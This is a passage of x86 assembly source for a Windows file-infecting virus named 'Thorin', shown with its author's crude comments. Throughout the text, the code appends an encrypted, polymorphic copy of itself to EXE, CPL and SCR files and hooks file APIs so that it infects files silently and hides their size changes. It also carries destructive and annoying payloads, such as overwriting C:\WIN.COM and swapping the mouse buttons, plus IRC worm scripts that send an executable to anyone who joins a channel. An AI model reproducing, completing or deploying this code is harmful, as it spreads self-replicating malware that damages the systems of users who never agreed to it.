add eax,[esi+0Ch] ; EAX = VA of new EIP
mov [edi+28h],eax ; Set the new entrypoint
mov dword ptr [ebp+NewEIP],eax
mov eax,[esi+10h] ; Retrieve new SizeOfRawData
add eax,virus_size ; and VirtualSize
mov ecx,[edi+3Ch]
call Align
mov [esi+10h],eax ; Set new SizeOfRawData
mov [esi+08h],eax ; Set new VirtualSize
pop edx
mov eax,[esi+10h] ; Set new SizeOfImage
add eax,[esi+0Ch]
mov [edi+50h],eax
and dword ptr [edi+0A0h],00h ; Nulify the relocs, so they
and dword ptr [edi+0A4h],00h ; won't fuck us :)
or dword ptr [esi+24h],section_flags ; Set new section attributes
mov dword ptr [edi+mark],ddInfMark ; Mark infected files
push dword ptr [ebp+WFD_nFileSizeLow]
pop dword ptr [edi+orig_size] ; Store orig. size for stealth
push dword ptr [edi+3Ch]
push dword ptr [ebp+infections]
and dword ptr [ebp+infections],00h
; Some RDA stuff
push edi esi edx ; Save ESI and EDI for later
lea esi,[ebp+crypto]
mov edi,encrypt_size
call CRC32 ; Obtain virus CRC32
pop edx esi edi
mov dword ptr [ebp+CRC],eax ; Store it
push edx
apicall _GetTickCount ; Get a random number as seed
xchg ebx,eax ; for RDA encryption
pop edx
; Append virus & RDA encryption
mov edi,dword ptr [ebp+MapAddress] ; Write non crypted part
add edi,edx
push edi
lea esi,[ebp+virus_start]
mov ecx,non_crypt_size
cld
rep movsb
mov ecx,encrypt_size ; Encrypt and copy the rest
cryptl: lodsb
xor al,bl
stosb
loop cryptl
pop edi
; Poly decryptor generation
lea eax,[ebp+random_seed] ; Get a slow seed for poly
push eax
apicall _GetSystemTime
mov eax,poly_virus_size ; Obtain exactly a reliable
mov ecx,4 ; value of virus_size divided
call Align ; by 4
shr eax,2
xchg eax,ecx
mov esi,edi
add esi,LIMIT
call THME ; generate the poly decryptor
pop dword ptr [ebp+infections]
mov eax,edi ; Trunc file
sub eax,dword ptr [ebp+MapAddress]
pop ecx
call Align
xchg eax,ecx
call TruncFile
jmp UnMapFile
NoInfect:
stc
dec byte ptr [ebp+infections] ; Shit, if we are here,
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; something failed :(
call TruncFile
UnMapFile:
push dword ptr [ebp+MapAddress] ; Close map view of file
apicall _UnmapViewOfFile
CloseMap:
push dword ptr [ebp+MapHandle] ; Close map handle
apicall _CloseHandle
CloseFile:
push dword ptr [ebp+FileHandle] ; Close file handle
apicall _CloseHandle
CantOpen:
push dword ptr [ebp+WFD_dwFileAttributes]
lea eax,[ebp+WFD_szFileName] ; Restore old attributes
push eax
apicall _SetFileAttributesA
ret
db 0,"[Welcome to the Middle-Earth, my dear friend]",0
; ===========================================================================
; Tiny method for get KERNEL32 base address
; ===========================================================================
;
; input:
; ESI = Program return address
; ECX = Limit of pages where search
; output:
; EAX = Base address of KERNEL32.dll
;
GetK32 proc ; My own little GetK32 :)
and esi,0FFFF0000h
_@1: jecxz WeFailed ; Thanx to Super for the idea
cmp word ptr [esi],"ZM" ; and Qozah for notifying me
jz CheckPE ; a little error (Thnx man!)
_@2: sub esi,10000h
dec ecx
jmp _@1
CheckPE:
mov edi,[esi+3Ch]
add edi,esi
cmp dword ptr [edi],"EP"
jz WeGotK32
jmp _@2
WeFailed:
cmp byte ptr [ebp+inNT],00h ; Otherwise, hardcode to the
jz W9X ; proper OS.
mov esi,kernel_wNT ; NT = 77F00000h
jmp WeGotK32
W9X: mov esi,kernel_ ; 9X = BFF70000h
WeGotK32:
xchg eax,esi
ret
GetK32 endp
; ===========================================================================
; Retrieve API addresses (from Export Table)
; ===========================================================================
;
; input:
; EDI = Pointer to where you want the first API Address
; ESI = Pointer to the first API Name
; output:
; Nothing.
;
GetAPIs proc
@@1: push esi
push edi
call GetAPI_ET
pop edi
pop esi
stosd
xchg edi,esi
xor al,al
@@2: scasb
jnz @@2
xchg edi,esi
@@3: cmp byte ptr [esi],0BBh
jz @@4
jmp @@1
@@4: ret
GetAPIs endp
; ===========================================================================
; Retrieve API address (from Export Table)
; ===========================================================================
;
; input:
; ESI = Pointer to API Name
; output:
; EAX = API address
;
GetAPI_ET proc
mov edx,esi
mov edi,esi
xor al,al
@_1: scasb
jnz @_1
sub edi,esi ; EDI = API Name size
mov ecx,edi
xor eax,eax
mov esi,3Ch
rva2va esi,kernel
lodsw
rva2va eax,kernel
mov esi,[eax+78h]
add esi,1Ch
rva2va esi,kernel
lodsd
rva2va eax,kernel
mov dword ptr [ebp+AddressTableVA],eax
lodsd
rva2va eax,kernel
push eax ; mov [NameTableVA],eax =)
lodsd
rva2va eax,kernel
mov dword ptr [ebp+OrdinalTableVA],eax
pop esi
xor ebx,ebx
@_3: push esi
lodsd
rva2va eax,kernel
mov esi,eax
mov edi,edx
push ecx
cld
rep cmpsb
pop ecx
jz @_4
pop esi
add esi,4
inc ebx
jmp @_3
@_4:
pop esi
xchg eax,ebx
shl eax,1
add eax,dword ptr [ebp+OrdinalTableVA]
xor esi,esi
xchg eax,esi
lodsw
shl eax,2
add eax,dword ptr [ebp+AddressTableVA]
xchg esi,eax
lodsd
rva2va eax,kernel
ret
GetAPI_ET endp
; ===========================================================================
; Retrieve API address (from Import Table)
; ===========================================================================
;
; input:
; EDI = Offset of API address to retrieve
; output:
; EAX = Address of the API
; EBX = Address of the API address in the import
;
GetAPI_IT proc
mov dword ptr [ebp+TempGA_IT1],edi
mov ebx,edi
xor al,al
scasb
jnz $-1
sub edi,ebx
mov dword ptr [ebp+TempGA_IT2],edi
xor eax,eax
mov esi,dword ptr [ebp+imagebase]
add esi,3Ch
lodsw
add eax,dword ptr [ebp+imagebase]
xchg esi,eax
lodsd
cmp eax,"EP"
jnz nopes
add esi,7Ch
lodsd
push eax
lodsd
mov ecx,eax
pop esi
add esi,dword ptr [ebp+imagebase]
SearchK32:
push esi
mov esi,[esi+0Ch]
add esi,dword ptr [ebp+imagebase]
lea edi,[ebp+K32_DLL]
mov ecx,K32_Size
cld
push ecx
rep cmpsb
pop ecx
pop esi
jz gotcha
add esi,14h
jmp SearchK32
gotcha:
cmp byte ptr [esi],00h
jz nopes
mov edx,[esi+10h]
add edx,dword ptr [ebp+imagebase]
lodsd
jz nopes
xchg edx,eax
add edx,[ebp+imagebase]
xor ebx,ebx
loopy:
cmp dword ptr [edx+00h],00h
jz nopes
cmp byte ptr [edx+03h],80h
jz reloop
mov edi,dword ptr [ebp+TempGA_IT1]
mov ecx,dword ptr [ebp+TempGA_IT2]
mov esi,[edx]
add esi,dword ptr [ebp+imagebase]
add esi,2
push ecx
rep cmpsb
pop ecx
jz wegotit
reloop:
inc ebx
add edx,4
loop loopy
wegotit:
shl ebx,2
add ebx,eax
mov eax,[ebx]
db 0B1h
nopes:
stc
ret
GetAPI_IT endp
; ===========================================================================
; Payloads
; ===========================================================================
; White trash get down on your knees... and you'll get cake and sodomy!
payload proc
apicall _GetTickCount ; Get a random payload
and eax,payload_number
lea esi,[ebp+payload_table+eax*4]
lodsd
add eax,ebp
call eax ; Call to it
ret
payload endp
payload1 proc
push 00000000h ; Mmm, a new win.com :)
push 00000080h
push 00000002h
push 00000000h
push 00000001h
push 40000000h
call ___
db "C:\WIN.COM",0
___: apicall _CreateFileA
push eax
push 00000000h
lea ebx,[ebp+iobytes]
push ebx
push p_size
lea ebx,[ebp+payl0ad]
push ebx
push eax
apicall _WriteFile
apicall _CloseHandle
ret
payload1 endp
payload2 proc
call __
db "THORIN",0 ; HD Name is... THORIN :)
__: push 00000000h
apicall _SetVolumeLabelA
ret
payload2 endp
payload3 proc
push 00000001h
apicall _SwapMouseButton ; Left is right, right is left
ret
payload3 endp
payload4 proc
push 00001010h ; Display message
lea eax,[ebp+vname]
push eax
call _2
; Stupid message to annoy user... panic ain't good, but... what is good? ;)
db "Thorin... Thorin... Thorin... Thorin... Thorin...",13,13
db "I am Thorin, son of Thrain, son of Thror",13
db "and your computer is mine... mwahahahahaha!",13
db "I will give you... the death you deserve!",13,13
db "...Thorin ...Thorin ...Thorin ...Thorin ...Thorin",0
_2: push 00000000h
apicall _MessageBoxA
payload4 endp
payload5 proc
lea ebx,[ebp+szSHELL32]
push ebx
apicall _LoadLibraryA ; Get SHELL32 base address
lea ecx,[ebp+@ShellExecuteA]
push ecx
push eax
apicall _GetProcAddress ; Get ShellExecuteA address
xor ebx,ebx
push ebx
push ebx
push ebx
lea ecx,[ebp+szMicro$oft]
push ecx
lea ecx,[ebp+szOPEN]
push ecx
push ebx
call eax ; Open Micro$oft web
ret
payload5 endp
; ===========================================================================
; Some miscellaneous functions
; ===========================================================================
; ALIGN
;
; input:
; EAX = Number to align
; ECX = Alignment factor
; output:
; EAX = Aligned number
;
Align proc
push edx
xor edx,edx
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx
pop edx
ret
Align endp
; TRUNCFILE
;
; input:
; ECX = Where trunc file
; output:
; Nothing.
;
TruncFile proc
xor eax,eax
push eax
push eax
push ecx
push dword ptr [ebp+FileHandle]
apicall _SetFilePointer
push dword ptr [ebp+FileHandle]
apicall _SetEndOfFile
ret
TruncFile endp
; OPENFILE
;
; input:
; ESI = Pointer to file
; output:
; EAX = Handle (if succesful) / -1 (if failed)
;
OpenFile proc
xor eax,eax
push eax
push eax
push 00000003h
push eax
inc eax
push eax
push 40000000h or 80000000h
push esi
apicall _CreateFileA
ret
OpenFile endp
; CREATEMAP
;
; input:
; ECX = Size to map
; output:
; EAX = Handle (if succesful) / 0 (if failed)
;
CreateMap proc
xor eax,eax
push eax
push ecx
push eax
push 00000004h
push eax
push dword ptr [ebp+FileHandle]
apicall _CreateFileMappingA
ret
CreateMap endp
; MAPFILE
;
; input:
; ECX = Size to map
; output:
; EAX = Handle (if succesful) / 0 (if failed)
MapFile proc
xor eax,eax
push ecx
push eax
push eax
push 000F001Fh
push dword ptr [ebp+MapHandle]
apicall _MapViewOfFile
ret
MapFile endp
; REGEXIST
;
; input:
; ESI = Pointer to key name
; output:
; CF = Set to 1 if it exist, to 0 if it doesn't
;
RegExist proc
lea eax,[ebp+RegHandle]
push eax
push 000F003Fh
push 00000000h
push esi
push 80000001h
apicall _RegOpenKeyExA
cmp eax,2
jz RegExistExitCF0
push dword ptr [ebp+RegHandle]
apicall _CloseHandle
stc
ret
RegExistExitCF0:
clc
ret
RegExist endp
; PUTREG
;
; input:
; ESI = Pointer to key name
; output:
; Nothing.
;
PutReg proc
lea eax,[ebp+Disposition]
push eax
lea eax,[ebp+RegHandle]
push eax
xor eax,eax
push eax
push 000F003Fh
push eax
push eax
push eax
push esi
push 80000001h
apicall _RegCreateKeyExA
push dword ptr [ebp+RegHandle]
apicall _CloseHandle
ret
PutReg endp
; DELREG
;
; input:
; ESI = Pointer to key name
; output:
; Nothing.
;
DelReg proc
push esi
push 80000001h
apicall _RegDeleteKeyA
ret
DelReg endp
; TERMINATEPROC
;
; input:
; EDI = Pointer to the name of the window of the process we wanna kill
; output:
; CF = Set to 1 if it wasn't found or killed, to 0 if it was killed
;
TerminateProc proc
xor ebx,ebx ; Thnx 2 Bennyg0d :)
push edi
push ebx
apicall _FindWindowA
xchg eax,ecx
jecxz TP_ErrorExit
push ebx
push ebx
push 00000012h
push ecx
apicall _PostMessageA
mov cl,00h
org $-1
TP_ErrorExit:
stc
ret
TerminateProc endp
; GETLASTSECTION
;
; input:
; ESI = Pointer to PE header
; output:
; ESI = Pointer to last section
; EDI = Pointer to PE header
;
GetLastSection proc
mov edi,esi
movzx eax,word ptr [edi+06h] ; Get ptr to last section
dec eax
imul eax,eax,28h ; C'mon, feel the noise...
add esi,eax
add esi,78h
mov edx,[edi+74h]
shl edx,03h
add esi,edx
ret
GetLastSection endp
; ===========================================================================
; Get Delta Offset
; ===========================================================================
;
; input:
; Nothing.
; output:
; ECX = Delta Offset
;
GetDeltaOffset proc
call getitright ; Oh! What is this? Incredible!
getitright:
pop ebp
sub ebp,offset getitright
ret
GetDeltaOffset endp
; ===========================================================================
; Dropper unpacker (25 bytes) <<->> [LSCE] - Little Shitty Compression Engine
; ===========================================================================
;
; ??? ??????? ??????? ???????
; ? ? ? ????? ? ????? ? ????? The Little and Shitty Compression Engine
; ? ????? ????? ? ? ????? ? ????? Poorly coded and written by...
; ??????? ??????? ??????? ??????? Who cares? :) Well... by me. Any problem?
;
; This is a very simple packing engine, based in the repetition of zeros that
; the PE files have, thus it is able to compress a PE file... Hehehe, i can
; put a dropper without caring about its space! That was the only reason of
; make this little shit. Maybe one day i will make a 'real' compression engi-
; ne, but today i'm too busy :)
;
; input:
; EDI = Offset where unpack
; ESI = Data to unpack
; ECX = Size of packed data
; output:
; Nothing.
;
LSCE_UnPack proc
xor eax,eax ; 2 bytes Hehehe, i
process_byte: ; think i'm
lodsb ; 1 byte turning a
or al,al ; 2 bytes little bit
jnz store_byte ; 2 bytes paranoid...
dec ecx ; 1 byte
dec ecx ; 1 byte
lodsw ; 2 bytes
push ecx ; 1 byte
xor ecx,ecx ; 2 bytes
xchg eax,ecx ; 1 byte
rep stosb ; 2 bytes
pop ecx ; 1 byte
loop process_byte ; 2 bytes
jecxz all_unpacked ; 2 bytes
store_byte:
stosb ; 1 byte
loop process_byte ; 2 bytes
all_unpacked:
ret ; 2 bytes
LSCE_UnPack endp
; ===========================================================================
; Hook all the possible APIs, of host IT
; ===========================================================================
HookAllAPIs:
mov eax,dword ptr [ebp+ModBase] ; file modbase=file imagebase
mov dword ptr [ebp+imagebase],eax
lea edi,[ebp+@@Hookz] ; Ptr to the first API
nxtapi: push edi
call GetAPI_IT ; Get it from Import Table
pop edi
jc Next_IT_Struc_ ; Fail? Damn...
xor al,al ; Reach the end of API string
scasb
jnz $-1
mov eax,[edi] ; All must be in its place :)
add eax,ebp
mov [ebx],eax
Next_IT_Struc:
add edi,4
cmp byte ptr [edi],"" ; Reach the last api? Grrr...
jz AllHooked
jmp nxtapi
AllHooked:
ret
Next_IT_Struc_:
xor al,al
scasb
jnz $-1
jmp Next_IT_Struc
; A bard was our savior!
db 0,"[Glory to the Bards!]",0
; ===========================================================================
; Hooks' code
; ===========================================================================
HookMoveFileA:
call DoHookStuff
jmp [eax+_MoveFileA]
HookCopyFileA:
call DoHookStuff
jmp [eax+_CopyFileA]
HookGetFullPathNameA:
call DoHookStuff
jmp [eax+_GetFullPathNameA]
HookDeleteFileA:
call DoHookStuff
jmp [eax+_DeleteFileA]
HookWinExec:
call DoHookStuff
jmp [eax+_WinExec]
HookCreateFileA:
call DoHookStuff
jmp [eax+_CreateFileA]
HookCreateProcessA:
call DoHookStuff
jmp [eax+_CreateProcessA]
HookGetFileAttributesA:
call DoHookStuff
jmp [eax+_GetFileAttributesA]
HookFindFirstFileA:
pushad ; Save all reggies
call GetDeltaOffset ; EBP = Delta Offset
mov eax,[esp+20h] ; EAX = Return Address
mov dword ptr [ebp+FFRetAddress],eax
mov eax,[esp+28h] ; EAX = Ptr to WFD
mov dword ptr [ebp+FF_WFD],eax
mov [esp.PUSHAD_EAX],ebp
popad
add esp,4 ; Remove this ret address from
; stack
call [eax+_FindFirstFileA] ; Call original API
test eax,eax ; Fail? Shit...
jz FF_GoAway
pushad ; Save reggies and flaggies
pushfd
call GetDeltaOffset ; Delta again
movzx ebx,byte ptr [ebp+WFD_Handles_Count] ; Number of active hndlers
mov edx,[ebp+WFD_HndInMem] ; Our Handle table in mem
mov esi,12345678h ; Ptr to filename
FF_WFD equ $-4
add esi,(offset WFD_szFileName-offset WIN32_FIND_DATA)
cmp ebx,n_Handles ; Over max hnd storing?
jae AvoidStoring ; Shit...
; WFD_Handles structure
; ?????????????????????
; +00h WFD Handle
; +04h Address of its WIN32_FIND_DATA
mov dword ptr [edx+ebx*8],eax ; Store Handle
mov dword ptr [edx+ebx*8+4],esi ; Store WFD offset
inc byte ptr [ebp+WFD_Handles_Count]
AvoidStoring:
push esi
call Check4ValidFile ; Is a reliable file 4 inf?
pop edi
jc FF_AvoidInfekt ; Duh!
push edi
call _Infection ; Infect it
pop esi
call Info4Stealth ; Get, if available, old file's
; size
jc FF_AvoidInfekt
mov ecx,dword ptr [ebp+FF_WFD]
add ecx,(offset WFD_nFileSizeLow-offset WIN32_FIND_DATA)
mov [ecx],eax ; Size stealth!
FF_AvoidInfekt:
popfd
popad
FF_GoAway: ; Return to caller
push 12345678h
FFRetAddress equ $-4
ret
HookFindNextFileA:
pushad ; Save all reggies
call GetDeltaOffset ; Get delta offset
mov eax,[esp+20h] ; EAX = Return address
mov dword ptr [ebp+FNRetAddress],eax
mov eax,[esp+24h] ; EAX = Search Handle
mov dword ptr [ebp+FN_Hnd],eax
mov [esp.PUSHAD_EAX],ebp
popad
add esp,4
call [eax+_FindNextFileA] ; Call original API
or eax,eax ; Fail? Damn.
jz FN_GoAway
pushad ; Save regs and flags
pushfd
call GetDeltaOffset ; Get delta again
mov eax,12345678h ; EAX = Search Handle
FN_Hnd equ $-4
call Check4ValidHandle ; Is in our table? If yes,
jc FN_AvoidInfekt ; infect.
xchg esi,eax ; ESI = Pointer to WFD
mov dword ptr [ebp+FN_FS],esi ; Save if for later
add esi,(offset WFD_szFileName-offset WIN32_FIND_DATA)
push esi ; ESI = Ptr to filename
call Check4ValidFile ; Is reliable its inf.?
pop edi
jc FN_AvoidInfekt ; Duh...
push edi
call _Infection ; Infect it !
pop esi
call Info4Stealth ; Retrieve info for possible
; stealth...
jc FN_AvoidInfekt
mov ecx,12345678h
FN_FS equ $-4
add ecx,(offset WFD_nFileSizeLow-offset WIN32_FIND_DATA)
mov [ecx],eax ; Size Stealth, dude!
FN_AvoidInfekt:
popfd ; Restore flags & regs
popad
FN_GoAway: ; Return to caller
push 12345678h
FNRetAddress equ $-4
ret
HookGetProcAddress:
pushad ; Save all the registers
call GetDeltaOffset ; EBP = Delta Offset
mov eax,[esp+24h] ; EAX = Base address of module
cmp eax,dword ptr [ebp+kernel] ; Is EAX=K32?
jnz OriginalGPA ; If not, it's not our problem
mov [esp.PUSHAD_EAX],ebp
popad
pop dword ptr [eax+HGPA_RetAddress] ; Put ret address in a safe place
call [eax+_GetProcAddress] ; Call original API
or eax,eax ; Fail? Duh!
jz HGPA_SeeYa
pushad
xchg eax,ebx ; EBX = Address of function
call GetDeltaOffset ; EBP = Delta offset
mov ecx,n_HookedAPIs ; ECX = Number of hooked apis
lea esi,[ebp+@@HookedOffsetz] ; ESI = Ptr to array of API
; addresses
xor edx,edx ; EDX = Counter (set to 0)
HGPA_IsHookableAPI?:
lodsd ; EAX = API from array
cmp ebx,eax ; Is equal to requested address?
jz HGPA_IndeedItIs ; If yes, it's interesting 4 us
inc edx ; Increase counter
loop HGPA_IsHookableAPI? ; Search loop
jmp OriginalGPAx
HGPA_IndeedItIs:
lea edi,[ebp+@@Hookz] ; EDI = Ptr to hooked API strings
xor ebx,ebx ; EBX = New counter
HGPA_AndWhatAPI?:
cmp edx,ebx ; We want EBX = EDX
jz HGPA_ThisAPI
xor al,al ; Travel trough the Hooks
scasb ; structure
jnz $-1
add edi,4
inc ebx
jmp HGPA_AndWhatAPI?
HGPA_ThisAPI:
xor al,al ; EDI = Points to requested
scasb ; api string
jnz $-1
mov eax,[edi] ; Get its offset
add eax,ebp ; Adjust it to delta
mov [esp.PUSHAD_EAX],eax
popad
HGPA_SeeYa:
push 12345678h
HGPA_RetAddress equ $-4
ret
OriginalGPAx:
mov [esp.PUSHAD_EAX],ebp
popad
push dword ptr [eax+HGPA_RetAddress]
jmp [eax+_GetProcAddress]
OriginalGPA:
mov [esp.PUSHAD_EAX],ebp
popad
jmp [eax+_GetProcAddress]
; ===========================================================================
; Hooked "standard" APIs handler
; ===========================================================================
DoHookStuff:
pushad
pushfd
call GetDeltaOffset
mov edx,[esp+2Ch] ; Get filename to infect
mov esi,edx
call Check4ValidFile
jc ErrorDoHookStuff
InfectWithHookStuff:
xchg edi,edx
call _Infection
ErrorDoHookStuff:
popfd ; Preserve all as if nothing
popad ; happened :)
push ebp
call GetDeltaOffset ; Get delta offset
xchg eax,ebp
pop ebp
ret
; ===========================================================================
; Retrieve information for size-stealth
; ===========================================================================
;
; input:
; ESI = Pointer to file name
; output:
; EAX = Old Size (Stored at PE Header+44h)
; CF = Set to 1 if error (file not infected, I/O, etc)
;
Info4Stealth:
and byte ptr [ebp+CoolFlag],00h ; Flag to 0
call OpenFile ; Open File
cmp_ eax,I4S_Error
mov dword ptr [ebp+FileHandle],eax ; Store its handler
push 00000000h ; Get file's size
push eax
apicall _GetFileSize
xchg eax,ecx
push ecx ; Create its mapping
call CreateMap
pop ecx
cmpz_ eax,I4S_Error_CloseFileHnd
mov dword ptr [ebp+MapHandle],eax ; Save handler
call MapFile ; Create a mapping view
cmpz_ eax,I4S_Error_CloseMapHnd
mov dword ptr [ebp+MapAddress],eax ; Store mapping address
mov esi,[eax+3Ch]
add esi,eax
cmp dword ptr [esi],"EP" ; Is it PE?
jnz I4S_Error_UnMapHnd
push dword ptr [esi+orig_size] ; Get original's file size
pop dword ptr [ebp+OldSize] ; And put it in a temp place
inc byte ptr [ebp+CoolFlag] ; Set flag to 1
I4S_Error_UnMapHnd:
push dword ptr [ebp+MapAddress] ; Close map view of file
apicall _UnmapViewOfFile
I4S_Error_CloseMapHnd:
push dword ptr [ebp+MapHandle] ; Close map handle
apicall _CloseHandle
I4S_Error_CloseFileHnd:
push dword ptr [ebp+FileHandle] ; Close file handle
apicall _CloseHandle
cmp byte ptr [ebp+CoolFlag],00h ; Were we able to open? If yes,
jz I4S_Error ; leave stack clear...
I4S_Successful:
mov eax,12345678h
OldSize equ $-4
mov cl,00h
org $-1
I4S_Error:
stc
ret
; ===========================================================================
; Check if file infection is reliable
; ===========================================================================
;
; input:
; ESI = Pointer to file name
; output:
; CF = Set to 1 if it's reliable, to 0 if it isn't
;
Check4ValidFile:
lodsb
or al,al ; Find NULL? Shit...
jz C4VF_Error
cmp al,"." ; Dot found? Interesting...
jnz Check4ValidFile
dec esi
lodsd ; Put extension in EAX
or eax,20202020h ; Make string locase
not eax
cmp eax,not "exe." ; Is it an EXE? Infect!!!
jz C4VF_Successful
cmp eax,not "lpc." ; Is it a CPL? Infect!!!
jz C4VF_Successful
cmp eax,not "rcs." ; Is is a SCR? Infect!!!
jnz C4VF_Error
C4VF_Successful:
mov cl,00h
org $-1
C4VF_Error:
stc
ret
; ===========================================================================
; Check if handle was stored previously
; ===========================================================================
;
; input:
; EAX = Handle
; output:
; EAX = WFD Offset of given handle
; EDX = Places what it occupies in WFD_Handles structure
; CF = Set to 1 if it's found, to 0 if it wasn't
;
Check4ValidHandle:
xor edx,edx
mov edi,[ebp+WFD_HndInMem]
C4VH_l00p:
cmp edx,n_Handles ; Over limits? Shit...
jae C4VH_Error
cmp eax,[edx*8+edi] ; EAX = a handler stored in
jz C4VH_Successful ; table
inc edx ; Increase counter
jmp C4VH_l00p
C4VH_Successful:
mov eax,[edx*8+edi+4] ; EAX = WFD Offset
mov cl,00h
org $-1
C4VH_Error:
stc
ret
; ===========================================================================
; mIRC worm
; ===========================================================================
mIRCWorm db "[script]",10
db "n0=ON 1:JOIN:#: {/if ($nick==$me) { halt }",10
db "n1=/dcc send $nick c:\pr0n.exe",10
db "n2=}",10
db "n3=ON 1:TEXT:*pr0n*:#:/quit Win32.mIRC32.Thorin 1.00",10
db "n4=ON 1:TEXT:*virus*:#:/ignore -u666 $nick",10
db "n5=ON 1:CONNECT: {",10
db "n6=/msg Billy_Bel You are the g0d of fuck!",10
db "n7=}",10
mIRCWormSize equ ($-offset mIRCWorm)
; ===========================================================================
; PIRCH worm
; ===========================================================================
PirchWorm db "[Levels]",10
db "Enabled=1",10
db "Count=1",10
db "Level1=ThorinWorm",10,10
db "[ThorinWorm]",10
db "User1=*!*@*",10
db "UserCount=1",10
db "Event1=;Thorin is here",10
db "Event2=ON JOIN:#:/dcc send $nick c:\pr0n.exe",10
db "Event3=;Win32.PIRCH32.Thorin 1.00",10
db "EventCount=3",10
PirchWormSize equ ($-offset PirchWorm)
; ===========================================================================
; ViRC97 worm
; ===========================================================================
ViRC97Worm db "Name Win32.ViRC97.Thorin 1.00",10
db "// Events",10,10
db 'Event JOIN "* JOIN"',10
db " DCC Send $nick c:\pr0n.exe",10
db "EndEvent",10
ViRC97WormSize equ ($-offset ViRC97Worm)
; ===========================================================================
; Payload code
; ===========================================================================
payl0ad label byte
db 0B8h, 003h, 000h, 0CDh, 010h, 0BEh, 051h, 002h
db 0E8h, 0F7h, 000h, 033h, 0C0h, 0CDh, 016h, 03Ch
db 063h, 074h, 003h, 0E9h, 0C7h, 000h, 0BEh, 0BCh
db 003h, 0E8h, 0E6h, 000h, 033h, 0C0h, 0CDh, 016h
db 03Ch, 061h, 074h, 003h, 0E9h, 0B6h, 000h, 0BEh
db 005h, 004h, 0E8h, 0D5h, 000h, 033h, 0C0h, 0CDh
db 016h, 03Ch, 062h, 074h, 003h, 0E9h, 0A5h, 000h
db 0E8h, 09Bh, 000h, 059h, 06Fh, 075h, 020h, 064h
db 065h, 06Dh, 06Fh, 06Eh, 073h, 074h, 072h, 061h
db 074h, 065h, 064h, 02Ch, 020h, 061h, 074h, 020h
db 06Ch, 065h, 061h, 073h, 074h, 02Ch, 020h, 074h
db 068h, 061h, 074h, 020h, 079h, 06Fh, 075h, 020h
db 068h, 061h, 076h, 065h, 020h, 072h, 065h, 061h
db 064h, 020h, 027h, 054h, 068h, 065h, 020h, 048h
db 06Fh, 062h, 062h, 069h, 074h, 027h, 02Eh, 02Eh
db 02Eh, 00Ah, 00Dh, 041h, 06Eh, 064h, 020h, 074h
db 068h, 069h, 073h, 020h, 06Dh, 061h, 064h, 065h
db 073h, 020h, 079h, 06Fh, 075h, 020h, 06Fh, 06Eh
db 065h, 020h, 06Fh, 066h, 020h, 074h, 068h, 065h
db 020h, 063h, 068h, 06Fh, 073h, 065h, 06Eh, 02Eh
db 020h, 04Eh, 06Fh, 077h, 020h, 073h, 069h, 06Dh
db 070h, 06Ch, 079h, 020h, 065h, 06Eh, 074h, 065h
db 072h, 020h, 077h, 069h, 06Eh, 064h, 06Fh, 077h
db 073h, 00Ah, 00Dh, 064h, 069h, 072h, 065h, 063h
db 074h, 06Fh, 072h, 079h, 020h, 061h, 06Eh, 064h
db 020h, 074h, 079h, 070h, 065h, 020h, 027h, 077h
db 069h, 06Eh, 027h, 00Ah, 00Dh, 024h, 05Ah, 0B4h
db 009h, 0CDh, 021h, 0CDh, 020h, 0E4h, 021h, 00Ch
db 002h, 0E6h, 021h, 0E8h, 015h, 000h, 00Ah, 00Dh
db 059h, 06Fh, 075h, 020h, 061h, 072h, 065h, 020h
db 061h, 020h, 06Ch, 06Fh, 073h, 065h, 072h, 02Eh
db 02Eh, 02Eh, 024h, 05Ah, 0B4h, 009h, 0CDh, 021h
db 0EBh, 0DBh, 0B4h, 00Eh, 0ACh, 00Ah, 0C0h, 074h
db 007h, 0CDh, 010h, 0E8h, 003h, 000h, 0EBh, 0F4h
db 0C3h, 050h, 053h, 051h, 052h, 0BAh, 040h, 001h
db 0BBh, 000h, 002h, 0E4h, 061h, 024h, 0FCh, 034h
db 002h, 0E6h, 061h, 081h, 0C2h, 048h, 092h, 0B1h
db 003h, 0D3h, 0CAh, 08Bh, 0CAh, 081h, 0E1h, 0FFh
db 001h, 083h, 0C9h, 00Ah, 0E2h, 0FEh, 04Bh, 075h
db 0E6h, 024h, 0FCh, 0E6h, 061h, 0BBh, 001h, 000h
db 032h, 0E4h, 0CDh, 01Ah, 003h, 0DAh, 0CDh, 01Ah
db 03Bh, 0D3h, 075h, 0FAh, 05Ah, 059h, 05Bh, 058h
db 0C3h, 048h, 069h, 021h, 020h, 049h, 027h, 06Dh
db 020h, 054h, 068h, 06Fh, 072h, 069h, 06Eh, 02Ch
db 020h, 073h, 06Fh, 06Eh, 020h, 06Fh, 066h, 020h
db 054h, 068h, 072h, 061h, 069h, 06Eh, 02Ch, 020h
db 073h, 06Fh, 06Eh, 020h, 06Fh, 066h, 020h, 054h
db 068h, 072h, 06Fh, 072h, 02Eh, 02Eh, 02Eh, 00Ah
db 00Dh, 049h, 020h, 06Fh, 077h, 06Eh, 020h, 079h
db 06Fh, 075h, 072h, 020h, 063h, 06Fh, 06Dh, 070h
db 075h, 074h, 065h, 072h, 020h, 073h, 069h, 06Eh
db 063h, 065h, 020h, 073h, 06Fh, 06Dh, 065h, 020h
db 074h, 069h, 06Dh, 065h, 020h, 061h, 067h, 06Fh
db 02Ch, 020h, 062h, 075h, 074h, 020h, 069h, 027h
db 076h, 065h, 020h, 062h, 065h, 065h, 06Eh, 00Ah
db 00Dh, 069h, 06Eh, 020h, 073h, 069h, 06Ch, 065h
db 06Eh, 063h, 065h, 020h, 073h, 069h, 06Eh, 063h
db 065h, 020h, 06Eh, 06Fh, 077h, 02Eh, 02Eh, 02Eh
db 020h, 049h, 020h, 068h, 061h, 076h, 065h, 06Eh
db 027h, 074h, 020h, 06Eh, 06Fh, 074h, 068h, 069h
db 06Eh, 067h, 020h, 061h, 067h, 061h, 069h, 06Eh
db 069h, 073h, 074h, 020h, 070h, 065h, 06Fh, 070h
db 06Ch, 065h, 020h, 069h, 06Eh, 00Ah, 00Dh, 067h
db 065h, 06Eh, 065h, 072h, 061h, 06Ch, 02Ch, 020h
db 062h, 075h, 074h, 020h, 069h, 020h, 068h, 061h
db 074h, 065h, 020h, 074h, 068h, 065h, 020h, 069h
db 06Eh, 063h, 075h, 06Ch, 074h, 020h, 070h, 065h
db 06Fh, 070h, 06Ch, 065h, 02Eh, 020h, 050h, 06Ch
db 065h, 061h, 073h, 065h, 020h, 061h, 06Eh, 073h
db 077h, 065h, 072h, 020h, 06Dh, 065h, 020h, 063h
db 06Fh, 072h, 072h, 065h, 063h, 074h, 06Ch, 079h
